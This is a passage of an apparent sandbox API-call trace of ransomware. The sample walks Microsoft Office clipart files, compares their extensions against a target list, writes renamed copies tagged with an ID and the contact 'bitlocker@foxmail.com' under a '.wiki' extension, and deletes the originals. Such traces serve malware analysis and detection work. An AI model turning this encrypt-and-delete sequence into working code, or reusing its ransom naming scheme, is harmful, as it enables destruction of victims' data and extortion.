(lpString1=".xls", lpString2=".WMF") returned 1 [0064.665] lstrlenW (lpString=".xlsx") returned 5 [0064.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.665] lstrlenW (lpString=".ppt") returned 4 [0064.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.665] lstrlenW (lpString=".zip") returned 4 [0064.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.665] lstrlenW (lpString=".rar") returned 4 [0064.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.665] lstrlenW (lpString=".bz2") returned 4 [0064.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.665] lstrlenW (lpString=".7z") returned 3 [0064.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.665] lstrlenW (lpString=".dbf") returned 4 [0064.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.665] lstrlenW (lpString=".1cd") returned 4 [0064.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF") returned 63 [0064.665] lstrlenW (lpString=".jpg") returned 4 [0064.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.665] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.665] lstrlenW (lpString="BD19828_.WMF") returned 12 [0064.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.666] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=8772) returned 1 [0064.666] CloseHandle (hObject=0x1fc) returned 1 [0064.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 0x20 [0064.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.666] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0064.666] GetLastError () returned 0x0 [0064.666] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x2244, lpOverlapped=0x0) returned 1 [0064.668] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x2250, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x2250, lpOverlapped=0x0) returned 1 [0064.669] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.669] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.669] SetEndOfFile (hFile=0x22c) returned 1 [0064.669] CloseHandle (hObject=0x22c) returned 1 [0064.670] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.670] SetEndOfFile (hFile=0x1fc) returned 1 [0064.670] CloseHandle (hObject=0x1fc) returned 1 [0064.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf")) returned 1 [0064.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.671] lstrlenW (lpString=".doc") returned 4 [0064.671] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.671] lstrlenW (lpString=".docx") returned 5 [0064.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.671] lstrlenW (lpString=".pdf") returned 4 [0064.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.671] lstrlenW (lpString=".xls") returned 4 [0064.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.671] lstrlenW (lpString=".xlsx") returned 5 [0064.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.671] lstrlenW (lpString=".ppt") returned 4 [0064.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.671] lstrlenW (lpString=".zip") returned 4 [0064.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.671] lstrlenW (lpString=".rar") returned 4 [0064.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.671] lstrlenW (lpString=".bz2") returned 4 [0064.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.671] lstrlenW (lpString=".7z") returned 3 [0064.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.671] lstrlenW (lpString=".dbf") returned 4 [0064.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.672] lstrlenW (lpString=".1cd") returned 4 [0064.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.672] lstrlenW (lpString=".jpg") returned 4 [0064.672] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.672] lstrlenW (lpString=".doc") returned 4 [0064.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString=".docx") returned 5 [0064.672] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.672] lstrlenW (lpString=".pdf") returned 4 [0064.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString=".xls") returned 4 [0064.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.672] lstrlenW (lpString=".xlsx") returned 5 [0064.672] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.672] lstrlenW (lpString=".ppt") returned 4 [0064.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.672] lstrlenW (lpString=".zip") returned 4 [0064.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.672] lstrlenW (lpString=".rar") returned 4 [0064.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString=".bz2") returned 4 [0064.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString=".7z") returned 3 [0064.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.672] lstrlenW (lpString=".dbf") returned 4 [0064.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.672] lstrlenW (lpString=".1cd") returned 4 [0064.672] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF") returned 63 [0064.673] lstrlenW (lpString=".jpg") returned 4 [0064.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.673] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.673] lstrlenW (lpString="BD19986_.WMF") returned 12 [0064.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.673] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=14486) returned 1 [0064.673] CloseHandle (hObject=0x1fc) returned 1 [0064.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x20 [0064.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.673] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.673] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0064.674] GetLastError () returned 0x0 [0064.674] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x3896, lpOverlapped=0x0) returned 1 [0064.675] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x38a0, lpOverlapped=0x0) returned 1 [0064.676] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0064.677] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0064.677] SetEndOfFile (hFile=0x22c) returned 1 [0064.677] CloseHandle (hObject=0x22c) returned 1 [0064.677] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.677] SetEndOfFile (hFile=0x1fc) returned 1 [0064.678] CloseHandle (hObject=0x1fc) returned 1 [0064.678] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0064.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0064.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.678] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.678] lstrlenW (lpString=".doc") returned 4 [0064.678] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.678] lstrlenW (lpString=".docx") returned 5 [0064.678] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.678] lstrlenW (lpString=".pdf") returned 4 [0064.678] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.678] lstrlenW (lpString=".xls") returned 4 [0064.678] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.679] lstrlenW (lpString=".xlsx") returned 5 [0064.679] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.679] lstrlenW (lpString=".ppt") returned 4 [0064.679] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.679] lstrlenW (lpString=".zip") returned 4 [0064.679] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.679] lstrlenW (lpString=".rar") returned 4 [0064.679] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.679] lstrlenW (lpString=".bz2") returned 4 [0064.679] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.679] lstrlenW (lpString=".7z") returned 3 [0064.679] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.679] lstrlenW (lpString=".dbf") returned 4 [0064.679] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.679] lstrlenW (lpString=".1cd") returned 4 [0064.679] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.679] lstrlenW (lpString=".jpg") returned 4 [0064.679] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.679] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.679] lstrlenW (lpString=".doc") returned 4 [0064.679] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0064.679] lstrlenW (lpString=".docx") returned 5 [0064.679] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0064.679] lstrlenW (lpString=".pdf") returned 4 [0064.679] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0064.679] lstrlenW (lpString=".xls") returned 4 [0064.679] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0064.679] lstrlenW (lpString=".xlsx") returned 5 [0064.680] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0064.680] lstrlenW (lpString=".ppt") returned 4 [0064.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0064.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.680] lstrlenW (lpString=".zip") returned 4 [0064.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0064.680] lstrlenW (lpString=".rar") returned 4 [0064.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0064.680] lstrlenW (lpString=".bz2") returned 4 [0064.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0064.680] lstrlenW (lpString=".7z") returned 3 [0064.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0064.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.680] lstrlenW (lpString=".dbf") returned 4 [0064.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0064.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.680] lstrlenW (lpString=".1cd") returned 4 [0064.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0064.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 63 [0064.680] lstrlenW (lpString=".jpg") returned 4 [0064.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0064.680] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0064.680] lstrlenW (lpString="BD19988_.WMF") returned 12 [0064.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.680] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=18304) returned 1 [0064.681] CloseHandle (hObject=0x1fc) returned 1 [0064.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0064.681] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0064.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0064.681] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.681] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0064.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0064.681] GetLastError () returned 0x0 [0064.681] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x4780, lpOverlapped=0x0) returned 1 [0065.783] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x4790, lpOverlapped=0x0) returned 1 [0065.784] ReadFile (in: hFile=0x1fc, lpBuffer=0x3870020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0065.784] WriteFile (in: hFile=0x22c, lpBuffer=0x3870020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3870020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0065.784] SetEndOfFile (hFile=0x22c) returned 1 [0065.784] CloseHandle (hObject=0x22c) returned 1 [0065.785] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0065.785] SetEndOfFile (hFile=0x1fc) returned 1 [0065.785] CloseHandle (hObject=0x1fc) returned 1 [0065.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0065.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0065.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.786] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.786] lstrlenW (lpString=".doc") returned 4 [0065.786] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.786] lstrlenW (lpString=".docx") returned 5 [0065.786] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.786] lstrlenW (lpString=".pdf") returned 4 [0065.786] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.786] lstrlenW (lpString=".xls") returned 4 [0065.786] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.786] lstrlenW (lpString=".xlsx") returned 5 [0065.786] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.786] lstrlenW (lpString=".ppt") returned 4 [0065.786] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.787] lstrlenW (lpString=".zip") returned 4 [0065.787] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.787] lstrlenW (lpString=".rar") returned 4 [0065.787] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0065.787] lstrlenW (lpString=".bz2") returned 4 [0065.787] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0065.787] lstrlenW (lpString=".7z") returned 3 [0065.787] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.787] lstrlenW (lpString=".dbf") returned 4 [0065.787] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.787] lstrlenW (lpString=".1cd") returned 4 [0065.787] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.787] lstrlenW (lpString=".jpg") returned 4 [0065.787] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.787] lstrlenW (lpString=".doc") returned 4 [0065.787] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0065.787] lstrlenW (lpString=".docx") returned 5 [0065.787] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0065.787] lstrlenW (lpString=".pdf") returned 4 [0065.787] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0065.787] lstrlenW (lpString=".xls") returned 4 [0065.787] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0065.787] lstrlenW (lpString=".xlsx") returned 5 [0065.787] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0065.787] lstrlenW (lpString=".ppt") returned 4 [0065.787] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0065.787] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0065.788] lstrlenW (lpString=".zip") returned 4 [0065.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0065.788] lstrlenW (lpString=".rar") returned 4 [0065.788] lstrcmpiW 